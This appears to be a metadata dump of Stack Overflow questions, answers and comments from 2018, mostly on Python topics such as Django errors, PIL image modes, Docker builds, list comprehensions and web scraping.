has body: You can use a dictionary comprehension to achieve this, 'swapping' things round as you build it: new_dict = {v['id']: {'pet': k} for k, v in original_dict.items()} To expand it to a for loop, it'd look something like: new_dict = {} for k, v in original_dict.items(): new_dict[v['id']] = {'pet': k} Note that both cases obviously rely on the 'id' value being unique, or the key will be overwritten for each occurrence.
has comment: http://stackoverflow.com/comment/84511435

http://stackoverflow.com/a/48799004
score: 4
answers question: http://stackoverflow.com/q/48798919
type: Answer
has comment: http://stackoverflow.com/comment/84600953
upvote count: 4
downvote count: 0
has body: It looks like your input (date) is a series of string representations of date and time, with a space between the date and the time. If the format is guaranteed to be consistent with what you showed here, then you could use a list comprehension: date = [x.split()[0] for x in date] dt = np.array(date) Alternatively, if date were a series of datetime objects, you could use: date = [x.date().isoformat() for x in date] dt = np.array(date) Edit: If I'm understanding correctly that this is a Pandas dataframe with a single column, containing string representations of dates and times, the following would be one way to retain the dtype=object property: def trim_to_date(s): return s.split()[0] date = date[0].apply(trim_to_date) dt = np.array(date))

http://stackoverflow.com/q/48722330
tagged with: python
has answer: http://stackoverflow.com/a/48722365
type: UnansweredQuestion
tagged with: django
type: Question
has comment: http://stackoverflow.com/comment/84443525
answer count: 1
has body: I am trying to simply display data from my database in Django. I am getting the following error; Syntax Error My code in views.py is as follows; def InputDisplay(request): input_info = Input.objects.all() args = {"input_detail" : input_info} print args return render_to_response('Project/display.html', args, context_instance=RequestContext(request)) My if statement in display.html; {% block head %} Display Measurements {% endblock %} {% block body %} Input Details {% for detail in input_detail %} {{ detail.id }} {{ detail.waist }} {{ detail.height }} {% endfor %} {% endblock %} Any help is greatly appreciated.
has comment: http://stackoverflow.com/comment/84443467
score: 0
has title: SyntaxError: invalid syntax - Python/Django
tagged with: sqlite

http://stackoverflow.com/a/48681522
has body: I'm not aware of a package that does this. However, you may be able to use tools like the homoglyph attack generator, the Unicode Consortium's confusables, references from wikipedia's page on the IDN homograph attack, or other such resources to build your own library of look-alikes and build a score based on that. EDIT: It looks as though the Unicode folks have compiled a great, big database of characters that looks alike. It's available here. If I were you, I'd build a script to read this into a Python dictionary and then parse your string for matches. An excerpt is: FF4A ; 006A ; MA # ( ｊ → j ) FULLWIDTH LATIN SMALL LETTER J → LATIN SMALL LETTER J # →ϳ→ 2149 ; 006A ; MA # ( ⅉ → j ) DOUBLE-STRUCK ITALIC SMALL J → LATIN SMALL LETTER J # 1D423 ; 006A ; MA # ( → j ) MATHEMATICAL BOLD SMALL J → LATIN SMALL LETTER J # 1D457 ; 006A ; MA # ( → j ) MATHEMATICAL ITALIC SMALL J → LATIN SMALL LETTER J #
upvote count: 6
type: Answer
answers question: http://stackoverflow.com/q/48681139
downvote count: 0
has comment: http://stackoverflow.com/comment/84362516
score: 6

http://stackoverflow.com/comment/84490802
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48732710
has text: Use the `edit` link under your question to include your code and the input and output. I don't really understand what the problem is without seeing this information.

http://stackoverflow.com/a/48649871
type: AcceptedAnswer
has body: The problem is that you are not copying the python files into the image. The example that you are following, uses the image python:3.6-onbuild as a base image for the app. The python:3.6-onbuild consists of the following: FROM python:3.6-jessie RUN mkdir -p /usr/src/app WORKDIR /usr/src/app ONBUILD COPY requirements.txt /usr/src/app/ ONBUILD RUN pip install --no-cache-dir -r requirements.txt ONBUILD COPY . /usr/src/app In particular the ONBUILD instruction triggers execute when building the child image, which is that app in your case. Thus if you are building a new Dockerfile make sure to add the equivalent of those instructions, that is: COPY requirements.txt /usr/src/app/ RUN pip install --no-cache-dir -r requirements.txt COPY . /usr/src/app
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/48649048
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48649048

http://stackoverflow.com/q/48795918
answer count: 1
tagged with: python
has body: I am reading an RGB image and converting it into HSV mode using PIL. Now I am trying to save this HSV image but I am getting an error. filename = r'\trial_images\cat.jpg' img = Image.open(filename) img = img.convert('HSV') destination = r'\demo\temp.jpg' img.save(destination) I am getting the following error: OSError: cannot write mode HSV as JPEG How can I save my transformed image? Please help
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84609550
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84609507
has answer: http://stackoverflow.com/a/53698806
score: 2
tagged with: python-imaging-library
tagged with: image-processing
has comment: http://stackoverflow.com/comment/84594724
has comment: http://stackoverflow.com/comment/84595689
type: Question
has comment: http://stackoverflow.com/comment/84610220
has comment: http://stackoverflow.com/comment/84648679
has comment: http://stackoverflow.com/comment/84596000
has comment: http://stackoverflow.com/comment/84596616
has comment: http://stackoverflow.com/comment/84609448
downvote count: 0
has title: How to save HSV converted Image in Python?
favorite count: 0
has comment: http://stackoverflow.com/comment/84649537

http://stackoverflow.com/a/48702631
score: 3
has body: userapp urls.py (add name): urlpatterns=[ url(r'^user/', TemplateView.as_view(template_name="user.html"), name='user') ]
upvote count: 3
type: Answer
answers question: http://stackoverflow.com/q/48702566
downvote count: 0

http://stackoverflow.com/comment/84401756
comment on: http://stackoverflow.com/q/48698331
score: 0
type: Comment
type: QuestionComment
has text: Is the module available in the interpreter assigned to the project in PyCharm?

http://stackoverflow.com/q/48787207
has comment: http://stackoverflow.com/comment/84604015
tagged with: python-requests
type: Question
tagged with: robotframework
has comment: http://stackoverflow.com/comment/84612810
has comment: http://stackoverflow.com/comment/84608195
has comment: http://stackoverflow.com/comment/84613171
score: 0
has comment: http://stackoverflow.com/comment/84689932
answer count: 1
has answer: http://stackoverflow.com/a/48800767
accepted answer: http://stackoverflow.com/a/48800767
has comment: http://stackoverflow.com/comment/84612916
tagged with: rest
has body: I am testing a REST server; one of its services provides a file in response. I use robotframework-requests library for calling the service. This is my test-case: *** Settings *** Library RequestsLibrary *** Test Cases *** Test RequestsLibrary.CREATE SESSION session http://192.168.100.139:9090 ${data} = evaluate json.load(open('/root/data.json', 'r')) json log to console Data: ${data} ${resp} = RequestsLibrary.POST REQUEST session uri=/omc/simulator/api/generate data=${data} log to console Resp: ${resp} This is what I get in return: Data: {u'files': [{u'tags': [{u'name': u'l1', u'value': u'l2', u'level': 2}], u'counters': {u'count': 10, u'valueMin': 0, u'prefix': u'a1', u'specifics': [{u'valueMin': 0, u'valueMax': 10, u'name': u'a2', u'tags': {u'additionalProp3': u'a5', u'additionalProp2': u'a4', u'additionalProp1': u'a3'}}], u'valueMax': 10}}], u'to': u'2018-02-14T11:25:10.712Z', u'from': u'2018-02-14T11:05:10.712Z', u'intervalMillis': 300000} Resp: &lt;Response [415]&gt; Where 415 HTTP code means Unsupported Media Type. How can I get the provided file in return and how should I config the path of download? Is it feasible with coding in robotframework or python? EDIT 1: I have tried setting Content-Type for request header as @Todor suggested: ${headers} = Create Dictionary Content-Type=${contentType} ${resp} = RequestsLibrary.POST REQUEST session uri=/omc/simulator/api/generate data=${data} headers=${headers} I still get status code 415 for both application/octet-stream and application/zip (the file has .zip extension) as ${contentType}. EDIT 2: I changed the server in order to save the file into a directory, so I can use it; but since it doesn't accept my header, I still can't completely call the service. I get 415 status code, which is sent from server implying that I'm not setting right Content-type in my header. BTW, I changed my request body as @Todor recommended: ${data} = evaluate json.dumps(json.load(open('/root/data.json', 'r'))) json ${headers} = Create Di…
tagged with: python
has comment: http://stackoverflow.com/comment/84703724
has comment: http://stackoverflow.com/comment/84688090
type: AnsweredQuestion
has title: Get file returned from REST POST request with robot framework requests library

http://stackoverflow.com/comment/84519515
type: Comment
comment on: http://stackoverflow.com/a/48758967
type: AnswerComment
score: 3
has text: could serve as a reference to test against

http://stackoverflow.com/q/48796422
type: Question
answer count: 1
downvote count: 0
tagged with: mezzanine
favorite count: 0
has answer: http://stackoverflow.com/a/48797191
has body: I'm trying to add a third-party database to a Mezzanine 4.2.3 project (it uses Django 1.10.8 according to requirements.txt). It's to be used by an app called food_crud. However, it produces this error: sqlite3.OperationalError: no such table: django_site. Most solutions I've read say to makemigrations and migrate. A few say to add django.contrib.sites to INSTALLED_APPS. I've tried both. Project directory layout: 180214 food - env_food # virtualenv - food __init__.py settings.py router.py urls.py views.py wsgi.py - food_crud - migrations __init__.py admin.py models.py tests.py views.py - static ... - theme ... __init__.py manage.py movie_data.sql The food_crud app is in INSTALLED_APPS. settings.py also contains the database details: DATABASES = { "default": { "ENGINE": "django.db.backends.postgresql_psycopg2", "NAME": "db_nate", "USER": "alex", "PASSWORD": "oh no you did not use password did you", "HOST": "localhost", "PORT": "", }, "movies": { "ENGINE": "django.db.backends.sqlite3", "NAME": "movie_data.sql", } } DATABASE_ROUTERS = ['food.router.FoodRouter'] Here's router.py, in the same folder as settings.py: from food_crud import models class FoodRouter(object): def db_for_read(self, model, **hints): model = models.Movies if model._meta.app_label == 'food_crud': return 'movies' return None models.py: from django.db import models class Movies(models.Model): id = models.AutoField(primary_key=True) adult = models.TextField() original_language = models.TextField() original_title = models.TextField() title = models.TextField() overview = models.TextField() release_date = models.DateField() genres = models.TextField() production_countries = models.TextField() videos = models.TextField() images = models.TextField() class Meta: app_label = "food_crud" db_table = "movies" managed = False views.py: from django.views import generic from .models import Movies class MoviesListView(generic.ListView): model = Movies template_name = r'"/food/theme/templates/food_crud/food_crud.htm…
tagged with: django
tagged with: python
tagged with: django-database
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48797191
score: 1
upvote count: 1
has title: Adding database to Mezzanine project produces "sqlite3.OperationalError: no such table: django_site"

http://stackoverflow.com/a/48740826
score: 1
accepted answer of: http://stackoverflow.com/q/48740621
upvote count: 1
answers question: http://stackoverflow.com/q/48740621
type: AcceptedAnswer
has body: A simple comprehension of the first items from each sub-list (whether you call them columns or rows) will work: xy = ([1,2,3,4,5,9], [7,4,9,2,3,8], [1,2,3,4,5,9], [7,4,9,2,3,8]) [row[0] for row in xy] # [1, 7, 1, 7]
type: Answer
downvote count: 0

http://stackoverflow.com/q/48691252
tagged with: jquery
favorite count: 0
tagged with: ajax
has comment: http://stackoverflow.com/comment/84383668
tagged with: python
has comment: http://stackoverflow.com/comment/84380798
score: 2
answer count: 0
upvote count: 2
has title: AJAX post request slow every second time [Django]
has body: As a little side-project I created a Django-based Web Application. So far I have created my webpage with basic Javascript. I can successfully get data from the database and create an AJAX POST-request via Javascript. Everything is working BUT there is something that really bothers me: Every second POST-request takes a significantly longer time to reach the server. For example: Request1 returns successful after 29ms. Request2 needs (for the exact same task!) over 300ms. This goes on and is 100% replicable. I have no idea what the reason for that issue is. I hope someone can guess what the root for this problem is. Image of "request-waterfall" from the developer tool. Used Code: //THIS IS THE POST REQUEST IN THE JS-SCRIPT (CLIENT-SIDE) $.ajax({ type: "POST", url: '/update_database', data: { "habit_name": habits[h].habit_name, "meta_data": meta_data }, success: function(result) { update(); console.log('Successful'); } }); Server-side handling of the POST-request: def update_database(request): post_dict = dict(six.iterlists(request.POST)) habit_name = post_dict["habit_name"][0] meta_data = post_dict["meta_data"][0] change_meta_data(habit_name, meta_data) data = { "Habits": Habit.objects.all().values() } return JsonResponse(list(data["Habits"]), safe=False) Update: The problem only occurs when I launch the server on localhost. If I runserver on local IP-adress, it works fine..
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84382896
tagged with: django
type: Question
has comment: http://stackoverflow.com/comment/84383381
has comment: http://stackoverflow.com/comment/84383442
downvote count: 0
has comment: http://stackoverflow.com/comment/84382855
tagged with: javascript

http://stackoverflow.com/q/48749668
has answer: http://stackoverflow.com/a/48811580
accepted answer: http://stackoverflow.com/a/48811580
has comment: http://stackoverflow.com/comment/84503590
upvote count: 7
has answer: http://stackoverflow.com/a/48749944
favorite count: 0
has comment: http://stackoverflow.com/comment/84500270
has comment: http://stackoverflow.com/comment/84524159
possible better answer: http://stackoverflow.com/a/48749944
tagged with: python
has title: Why is C++ much faster than python with boost?
has comment: http://stackoverflow.com/comment/84499858
tagged with: c++
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84533167
downvote count: 0
score: 7
tagged with: boost
has body: My goal is to write a small library for spectral finite elements in Python and to that purpose I tried extending python with a C++ library using Boost, with the hope that it would make my code faster. class Quad { public: Quad(int, int); double integrate(boost::function&lt;double(std::vector&lt;double&gt; const&amp;)&gt; const&amp;); double integrate_wrapper(boost::python::object const&amp;); std::vector&lt; std::vector&lt;double&gt; &gt; nodes; std::vector&lt;double&gt; weights; }; ... namespace std { typedef std::vector&lt; std::vector&lt; std::vector&lt;double&gt; &gt; &gt; cube; typedef std::vector&lt; std::vector&lt;double&gt; &gt; mat; typedef std::vector&lt;double&gt; vec; } ... double Quad::integrate(boost::function&lt;double(vec const&amp;)&gt; const&amp; func) { double result = 0.; for (unsigned int i = 0; i &lt; nodes.size(); ++i) { result += func(nodes[i]) * weights[i]; } return result; } // ---- PYTHON WRAPPER ---- double Quad::integrate_wrapper(boost::python::object const&amp; func) { std::function&lt;double(vec const&amp;)&gt; lambda; switch (this-&gt;nodes[0].size()) { case 1: lambda = [&amp;func](vec const&amp; v) -&gt; double { return boost::python::extract&lt;double&gt;(func (v[0])); }; break; case 2: lambda = [&amp;func](vec const&amp; v) -&gt; double { return boost::python::extract&lt;double&gt;(func(v[0], v[1])); }; break; case 3: lambda = [&amp;func](vec const&amp; v) -&gt; double { return boost::python::extract&lt;double&gt;(func(v[0], v[1], v[2])); }; break; default: cout &lt;&lt; "Dimension must be 1, 2, or 3" &lt;&lt; endl; exit(0); } return integrate(lambda); } // ---- EXPOSE TO PYTHON ---- BOOST_PYTHON_MODULE(hermite) { using namespace boost::python; class_&lt;std::vec&gt;("double_vector") .def(vector_indexing_suite&lt;std::vec&gt;()) ; class_&lt;std::mat&gt;("double_mat") .def(vector_indexing_suite&lt;std::mat&gt;()) ; class_&lt;Quad&gt;("Quad", init&lt;int,int&gt;()) .def("integrate", &amp;Quad::integrate_wrapper) .def_readonly("nodes"…
has comment: http://stackoverflow.com/comment/84499831
has comment: http://stackoverflow.com/comment/84499674
has comment: http://stackoverflow.com/comment/84501863
type: Question
has comment: http://stackoverflow.com/comment/84500207
answer count: 2
tagged with: performance
has comment: http://stackoverflow.com/comment/84532273
has comment: http://stackoverflow.com/comment/84572581
has comment: http://stackoverflow.com/comment/84573110
has comment: http://stackoverflow.com/comment/84572517
linked to: http://stackoverflow.com/q/49557809
has comment: http://stackoverflow.com/comment/84503395
has comment: http://stackoverflow.com/comment/84499791
has comment: http://stackoverflow.com/comment/84499768
has comment: http://stackoverflow.com/comment/84532328

http://stackoverflow.com/comment/84519140
score: 7
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48759187
has text: ... that doesn't answer the question.

http://stackoverflow.com/comment/84482391
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48741214
score: 0
has text: Yes i have added that but i am observing this error : workbook.close() File "C:\Python27\lib\site-packages\xlsxwriter\workbook.py", line 310, in close self._store_workbook() UnicodeDecodeError: 'ascii' codec can't decode byte 0xc2 in position 37: ordinal not in range(128)

http://stackoverflow.com/comment/84621840
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/48803361
has text: Thanks. In fact, I just tried split/no split, and the CV scores varied quite a bit(.61 v.s. .51). I think the reason (in my case) is, when splitting, the gridsearch is doing it only on the 70% of the whole dataset(which means gridsearch does the cv on it by further splitting it into another 70/30%?). While no splitting, gridsearch takes the whole dataset and runs cv on the 70% of the data. Do you agree?
type: Comment

http://stackoverflow.com/q/48670937
has body: I have a file called "const_a.py" it has this in it ONE = 1 TWO = 2 Then I have another const file called "const_b.py" it has this from const_a import * THREE = 3 FOUR = 4 Finally I am printing out some values in test.py from const_b import * print(ONE) print(THREE) That prints out 1 and 3. I would have expected it to error out trying to print ONE. Apparently const_b now has const_a in it. What is this behavior called? Is it intentional?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84339775
duplicate of: http://stackoverflow.com/q/2360724
has comment: http://stackoverflow.com/comment/84339708
has comment: http://stackoverflow.com/comment/84339736
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48670982
has title: In programming terms, what do you call this import behavior?
has comment: http://stackoverflow.com/comment/84339728
score: 0
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/48670982
has comment: http://stackoverflow.com/comment/84339745
upvote count: 1
tagged with: python
linked to: http://stackoverflow.com/q/2360724

http://stackoverflow.com/comment/84586924
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48792319
score: 1
has text: @Code-Apprentice Not true in Python 3.6

http://stackoverflow.com/a/48733957
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: You just have an error in your condition: for id, (x,y) , err in a: if err == 0: errorfree_id.append(id) if id in err == 0 should be if err == 0
answers question: http://stackoverflow.com/q/48733905

http://stackoverflow.com/q/48771093
has title: Codecov coverage report seems to erroneously omit __init__.py file
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84559193
type: Question
tagged with: coverage.py
upvote count: 5
score: 5
downvote count: 0
favorite count: 0
has body: I'm using coverage and codecov to report coverage on my Github project via my Travis CI build. However, the online reports are unexpected in that they do not match the local reports in that the root __init__.py file appears to be omitted. I've reviewed the documentation for coverage.py and codecov and nothing sticks out, but I feel I may be missing something obvious. When I run run the tests and do coverage report -- The results are as expected and report 89% coverage. Note that the behave_webdriver\__init__.py file is included. Name Stmts Miss Cover ------------------------------------------------------------ behave_webdriver\__init__.py 206 26 87% behave_webdriver\conditions.py 58 5 91% behave_webdriver\steps\__init__.py 2 0 100% behave_webdriver\steps\actions.py 79 12 85% behave_webdriver\steps\expectations.py 173 14 92% ------------------------------------------------------------ TOTAL 518 57 89% This is also consistent with the XML report shown by codecov --dump on the travis build. However, the online report is reporting 91% coverage and appears to omit the first __init__.py file. I expect to be able to see the __init__.py file here, but it appears to have been omitted in the report. Not sure why this is not showing up. Another __init__.py file in the steps directory does show up as expected, so it doesn't appear to be a naming/exclusion issue. My .coveragerc file is simply as follows [run] source=behave_webdriver Is there a misconfiguration I'm not seeing here?
tagged with: python

http://stackoverflow.com/q/48759324
tagged with: ip-address
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84519446
has title: Python IP to integer conversion not working as expected
has comment: http://stackoverflow.com/comment/84519573
score: -1
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84519422
upvote count: 0
has body: I am using the answer provided here to convert string IP to integer. But I am not getting expected output. Specifically, the method is &gt;&gt;&gt; ipstr = '1.2.3.4' &gt;&gt;&gt; parts = ipstr.split('.') &gt;&gt;&gt; (int(parts[0]) &lt;&lt; 24) + (int(parts[1]) &lt;&lt; 16) + \ (int(parts[2]) &lt;&lt; 8) + int(parts[3]) but when I provide it the value 172.31.22.98 I get 2887718498 back. However, I expect to see value -1407248798 as provided by Google's Guava library https://google.github.io/guava/releases/20.0/api/docs/com/google/common/net/InetAddresses.html#fromInteger-int- Also, I've verified that this service provides expected output but all of the answers provided by the aforementioned StackOverflow answer return 2887718498 Note that I cannot use any third party library. So I am pretty much limited to using a hand-written code (no imports)
has comment: http://stackoverflow.com/comment/84519481
tagged with: python
possible better answer: http://stackoverflow.com/a/59670483
has answer: http://stackoverflow.com/a/48759636
linked to: http://stackoverflow.com/q/9590965
favorite count: 0
has answer: http://stackoverflow.com/a/59670483
accepted answer: http://stackoverflow.com/a/48759636

http://stackoverflow.com/q/48769131
tagged with: dataframe
tagged with: numpy
tagged with: arrays
downvote count: 0
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
answer count: 0
type: UnansweredQuestion
has body: I wish to store a dataframe as csv file and then read from it while preserving the datatype of each entry. I am able to do it with str, int and float but when it comes to np.arrays, the way it is stored is as string. Is there a way to preserve its nature? Ex.: import pandas as pd import numpy as np pd_df = pd.DataFrame(columns=['name', 'int', 'float', 'array']) pd_df.loc[0] = pd.Series({ 'name' : 'one', 'int' : 1, 'float': 1.0, 'array' : np.random.rand(1,3) }) pd_df.to_csv( 'file.csv' ) Then I read "file.csv" in a second moment with the built-in "read_csv": read_file = pd.read_csv( 'file.csv' ) print( read_file ) #returns desired result print( type(read_file.loc[0]['name']) ) #returns &lt;class 'str'&gt; print( type(read_file.loc[0]['int']) ) #returns &lt;class 'numpy.int64'&gt; print( type(read_file.loc[0]['float']) ) #returns &lt;class 'numpy.float64'&gt; print( type(read_file.loc[0]['array']) ) #returns &lt;class 'str'&gt; !!! Of course I can transform the read_file.loc[0]['array'] back to a np.array, but I am wondering if there is a way to keep the array the way it is in the dataframe and into the csv. I have try to specify the datatype of each column with apply , and to read it with a specific dtype, as well as to use as_matrix() as suggested here but could not get to make it work. Thnak you for any suggestion.
has title: Python: preserve numpy array while writing and reading from csv
upvote count: 1
type: Question
score: 1
linked to: http://stackoverflow.com/q/13187778

http://stackoverflow.com/comment/84528917
has text: Thank you so much! This worked absolutely brilliant. However, there are two technical issues that I cannot get over: 1. How can I print the message below the code without substituting it? I want it to be printed like this: one Command One Has Been Processed two Command Two Has Been Processed 2. I have to click on the command line to enter the next command, is the any workaround which allows me to keep typing commands without using my mouse at all? Thank you for your effort
type: Comment
comment on: http://stackoverflow.com/a/48757317
score: 0
type: AnswerComment

http://stackoverflow.com/q/48722343
accepted answer: http://stackoverflow.com/a/48723135
score: 0
answer count: 1
tagged with: python
has title: Input text into textarea for codemirror python selenium
tagged with: css
has body: I am new to selenium and trying to input text into a textarea generated by CodeMirror. I have looked at the other questions on textarea and am unable to solve my problem. I am using Chrome and have found in sources where the textarea is and am able to click it to have the cursor blinking. However, I find that it has no attributes. How can I input text into the textarea? I have tried other elements and I have gotten either a "can't focus" or "not visible" error which I am guessing means that those elements are not the textarea. a= browser.find_element_by_css_selector('div.CodeMirror.CodeMirror-wrap.dojoDndTarget.cm-s-sql.dojoDndContainer').click() print a None I realize that adding a long source code is probably inconvenient for other users but I am not sure which CodeMirror line may refer to the textarea and am posting it for completeness. Here is the source code as well as the screenshot. &lt;div class="CodeMirror CodeMirror-wrap dojoDndTarget cm-s-sql dojoDndContainer" style="font-size: 12px; font-weight: normal;"&gt; &lt;div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 4px; left: 4px;"&gt; &lt;textarea autocorrect="off" autocapitalize="off" spellcheck="false" style="position: absolute; padding: 0px; width: 1000px; height: 1em; outline: none;" tabindex="0"&gt; &lt;/textarea&gt; &lt;/div&gt; &lt;div class="CodeMirror-vscrollbar" not-content="true" style="min-width: 18px;"&gt; &lt;div style="min-width: 1px; height: 0px;"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="CodeMirror-hscrollbar" not-content="true" style="min-height: 18px;"&gt; &lt;div style="height: 100%; min-height: 1px; width: 0px;"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="CodeMirror-scrollbar-filler" not-content="true"&gt; &lt;/div&gt; &lt;div class="CodeMirror-gutter-filler" not-content="true"&gt; &lt;/div&gt; &lt;div class="CodeMirror-scroll" tabindex="-1"&gt; &lt;div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 30px; min-he…
tagged with: codemirror
has answer: http://stackoverflow.com/a/48723135
tagged with: selenium-chromedriver
type: AnsweredQuestion
type: Question

http://stackoverflow.com/a/48753635
score: 1
downvote count: 0
has body: Or maybe you can using groupby df.groupby('A',as_index=False).B.last() Out[421]: A B 0 x 1 1 y 0 2 z 1
type: Answer
answers question: http://stackoverflow.com/q/48753338
upvote count: 1

append
tags question: http://stackoverflow.com/q/48672692
tag name: append
tags question: http://stackoverflow.com/q/48801000
tags question: http://stackoverflow.com/q/48743823
tags question: http://stackoverflow.com/q/48787185
tags question: http://stackoverflow.com/q/48769517
tags question: http://stackoverflow.com/q/48657819
tags question: http://stackoverflow.com/q/48667251
tags question: http://stackoverflow.com/q/48768332
tags question: http://stackoverflow.com/q/48783682
type: Tag
tags question: http://stackoverflow.com/q/48740621

http://stackoverflow.com/a/48796555
has body: Try this: onearray = [] file = open("one.txt", "r") for line in file: onearray.append(int(line.replace("\n", ""))) file.close() twoarray = [] file = open("two.txt", "r") for line in file: if line != "Start,End\n": twoarray.append(int(line.split(",")[0])) file.close() for i in range(0, len(onearray)): print(twoarray[i] - onearray[i]) It should do the job!
type: Answer
answers question: http://stackoverflow.com/q/48796453
score: 0
has comment: http://stackoverflow.com/comment/84595878

http://stackoverflow.com/q/48791751
has answer: http://stackoverflow.com/a/48791831
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48791831
has comment: http://stackoverflow.com/comment/84585593
downvote count: 0
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/48791887
has answer: http://stackoverflow.com/a/48791844
has answer: http://stackoverflow.com/a/48792019
has body: I recently came across this notation a = [1,2,3,4] b = [2,4,6] c = [(x,y,z) for x in a for y in b for z in a] First I don't know how to search for the notation in creating c, is there a name for this type of structure? Also, I'm confident that c can be updated to not allow x to equal z. Please can you help me with this? I've tried various things on the lines of c = [(x,y,z) for x in a for y in b for z in a for x != z] but so far I can't find anything that works, or is even valid syntax. What I'm trying to accomplish is to find every combination of (a,b,a) where a can only be used once in each line so the result would be [(1, 2, 2), (1, 2, 3), (1, 2, 4), (1, 4, 2), (1, 4, 3), (1, 4, 4), (1, 6, 2), (1, 6, 3), (1, 6, 4), (2, 2, 1), (2, 2, 3), (2, 2, 4), (2, 4, 1), (2, 4, 3), (2, 4, 4), (2, 6, 1), (2, 6, 3), (2, 6, 4), (3, 2, 1), (3, 2, 2), (3, 2, 4), (3, 4, 1), (3, 4, 2), (3, 4, 4), (3, 6, 1), (3, 6, 2), (3, 6, 4), (4, 2, 1), (4, 2, 2), (4, 2, 3), (4, 4, 1), (4, 4, 2), (4, 4, 3), (4, 6, 1), (4, 6, 2), (4, 6, 3)] Thanks
has title: Find cartesian product of lists filtering out the elements based on condition
answer count: 4
favorite count: 0
tagged with: python
possible better answer: http://stackoverflow.com/a/48791844

http://stackoverflow.com/q/48758789
tagged with: python
upvote count: 6
has answer: http://stackoverflow.com/a/48758967
has comment: http://stackoverflow.com/comment/84518637
favorite count: 0
possible better answer: http://stackoverflow.com/a/48758967
downvote count: 1
has title: In 2D binary matrix find the number of islands
type: AnsweredQuestion
tagged with: algorithm
has answer: http://stackoverflow.com/a/48759110
type: Question
tagged with: graph
answer count: 2
score: 5
has body: I am trying to count the number of islands (a group of connected 1s forms an island) in a 2D binary matrix. Example: [ [1, 1, 0, 0, 0], [0, 1, 0, 0, 1], [1, 0, 0, 1, 1], [0, 0, 0, 0, 0], [1, 0, 1, 0, 1] ] In the above matrix there are 5 islands, which are: First: (0,0), (0,1), (1,1), (2,0) Second: (1,4), (2,3), (2,4) Third: (4,0) Fourth: (4,2) Fifth: (4,4) To count the number of island in the 2D matrix, I am assuming the matrix as a Graph and then I am using DFS kind of algorithm to count the islands. I am keeping track for the number of DFS (a recursive function) calls, because that many components would be there in the Graph. Below is the code I wrote for this purpose: # count the 1's in the island def count_houses(mat, visited, i, j): # base case if i &lt; 0 or i &gt;= len(mat) or j &lt; 0 or j &gt;= len(mat[0]) or\ visited[i][j] is True or mat[i][j] == 0: return 0 # marking visited at i, j visited[i][j] = True # cnt is initialized to 1 coz 1 is found cnt = 1 # now go in all possible directions (i.e. form 8 branches) # starting from the left upper corner of i,j and going down to right bottom # corner of i,j for r in xrange(i-1, i+2, 1): for c in xrange(j-1, j+2, 1): # print 'r:', r # print 'c:', c # don't call for i, j if r != i and c != j: cnt += count_houses(mat, visited, r, c) return cnt def island_count(mat): houses = list() clusters = 0 row = len(mat) col = len(mat[0]) # initialize the visited matrix visited = [[False for i in xrange(col)] for j in xrange(row)] # run over matrix, search for 1 and then do dfs when found 1 for i in xrange(row): for j in xrange(col): # see if value at i, j is 1 in mat and val at i, j is False in # visited if mat[i][j] == 1 and visited[i][j] is False: clusters += 1 h = count_houses(mat, visited, i, j) houses.append(h) print 'clusters:', clusters return houses if __name__ == '__main__': mat = [ [1, 1, 0, 0, 0], [0, 1, 0, 0, 1], [1, 0, 0, 1, 1], [0, 0, 0, 0, 0], [1, 0, 1, 0, 1] ] houses = island_count(mat) print houses # print 'ma…
accepted answer: http://stackoverflow.com/a/48759110
tagged with: matrix
has comment: http://stackoverflow.com/comment/84518758

http://stackoverflow.com/q/48674254
type: Question
tagged with: for-loop
has answer: http://stackoverflow.com/a/48674283
upvote count: 0
has title: beautifulSoup for look show only last result
score: -1
answer count: 3
favorite count: 0
tagged with: beautifulsoup
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48674460
tagged with: web-scraping
has answer: http://stackoverflow.com/a/48674340
has body: i currently try to learn python web scraping. I did everything exactly like in the tutorial. But the loop doesn't work. If I test it with print, it only shows the last entry. import requests from bs4 import BeautifulSoup as soup import lxml url = "https://www.moviepilot.de/dvd/dvds-neu" agent = {"User-Agent":'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'} page = requests.get(url, headers=agent) page_soup = soup(page.content, "html.parser") ergebnisse = page_soup.findAll("li", {"class":"movie"}) for container in ergebnisse: filmname = container.a["title"] print(filmname)
downvote count: 1

http://stackoverflow.com/a/48650865
accepted answer of: http://stackoverflow.com/q/48648907
score: 0
